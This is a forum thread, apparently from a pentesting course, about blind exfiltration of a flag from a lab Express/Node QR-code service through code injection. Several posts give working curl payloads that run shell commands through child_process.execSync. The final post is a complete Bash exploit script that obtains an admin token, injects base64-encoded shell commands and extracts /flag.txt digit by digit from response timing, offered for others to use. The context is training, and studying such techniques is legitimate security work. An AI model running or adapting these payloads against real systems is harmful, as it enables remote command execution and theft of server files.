Intro to Whitebox Pentesting: Blind Exploitation

For this section I need to do the following:
Challenge: Try to use what you learned in this section to reached boolean-based exfiltration using the exercise from the previous section, in which this would be possible. Instead of sleeping, you may send a different HTTP response code (e.g. 200 for match and 404 for fail). This would make you thoroughly understand how both techniques work, and how they differ from each other.

The flag at ‘/flag.txt’ consists of 3 digits. Try to use the payload from this section to find them, by iterating over [0-9] for each of the 3 digits (max 30 attempts needed)

Can someone help to solve this? This is what I have done so far: PrivateBin

I thought I solved it, but I still don’t understand how to do boolean-based exfiltration?

Create a local file flag.txt.

Tested with letter a to check the first letter from file flag.txt:

$ curl -i -s -X POST -H "Content-Type: application/json" -H "Authorization: bearer <toke>" -d '{ "text": "'\''}) + (function(){ var c = require(\"child_process\").execSync(\"ls | sort | cut -c1\").toString().trim(); if (c === \"a\") { return \"test\"; } else { throw \"fail\"; } })()//" }' http://localhost:5000/api/service/generate
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 41
ETag: W/"29-vrivKbD3JnWI58RmWDGTwvyZnls"
Date: Mon, 12 May 2025 14:50:03 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"message":"Could not generate QR code."}
$ curl -i -s -X POST -H "Content-Type: application/json" -H "Authorization: bearer <toke>" -d '{ "text": "'\''}) + (function(){ var c = require(\"child_process\").execSync(\"ls | sort | cut -c1\").toString().trim(); if (c === \"f\") { return \"test\"; } else { throw new Error(\"fail\"); } })()//" }' http://localhost:5000/api/service/generate
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 41
ETag: W/"29-vrivKbD3JnWI58RmWDGTwvyZnls"
Date: Mon, 12 May 2025 14:50:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"message":"Could not generate QR code."}

Get always HTTP/1.1 500 Internal Server Error

anyone?

Here is also https://pastebin.com/6P1X3whR for more information from what I did.

I solved this issue. Topic can be closed.

Hi Everyone! I thought that this task was a bit repetitive so I made a script for it!

Here is my Bash script for everyone to use to solve this task for you!

#!/usr/bin/env bash
TARGET="http://<IP>:<PORT>"  

#Get admin token 
ADMINTOKEN=$(curl -s -X POST -H "Content-Type: application/json" -d '{"email":"foo@hackthebox.com"}' $TARGET/api/auth/authenticate | jq -r .token)

if [ -z "$ADMINTOKEN" ] || [ "$ADMINTOKEN" = "null" ]; then
    echo "Failed to get admin token. Ensure jq is installed and the authentication endpoint is correct."
    exit 1
fi
echo "Admin token obtained: $ADMINTOKEN"

#Base64 encode our payload 
position=1
max_position=3
FLAG=""

echo "Starting flag discovery..."

while [ $position -le $max_position ]; do
    found_char_for_position=false
    # Iterate through characters 1-5 as per the user's request
    for i in {1..5}; do
        echo -n "Testing Position: $position, Character: $i ... "
        # Payload to check a character at a specific position
        # If character matches, server sleeps for 2 seconds
        payload="cat /flag.txt | head -c $position | tail -c 1 | { read c; if [ \"\$c\" = \"$i\" ]; then sleep 2; fi; }"
        encoded=$(echo -n "$payload" | base64 -w0)
        
        # Construct the JSON payload safely
        js_text_value="'}) + require('child_process').execSync('echo $encoded | base64 -d | bash')//"
        json_curl_data=$(printf '{ "text": "%s" }' "$js_text_value")

        # Send the payload and measure response time
        time_taken=$(curl -s -o /dev/null -w "%{time_total}" -X POST \
            -H "Content-Type: application/json" \
            -H "Authorization: bearer $ADMINTOKEN" \
            -d "$json_curl_data" \
            $TARGET/api/service/generate)
        
        echo "Time: ${time_taken}s"

        # Check if response time indicates a found character (sleep duration is 2s)
        # Using bc for floating point comparison
        if (( $(echo "$time_taken >= 1.9" | bc -l) )); then # Using 1.9s as threshold for 2s sleep
            echo -e "\\nFound character '$i' for position $position!"
            FLAG="$FLAG$i"
            echo "Current flag: $FLAG"
            position=$((position + 1))
            found_char_for_position=true
            break
        fi
    done

    if ! $found_char_for_position; then
        echo -e "\\nCould not find character for position $position with the current character set."
        echo "Exiting."
        break
    fi
done

#Print flag 
echo -e "\\n-----------------------------"
echo "Final Discovered Flag: $FLAG"
echo "-----------------------------"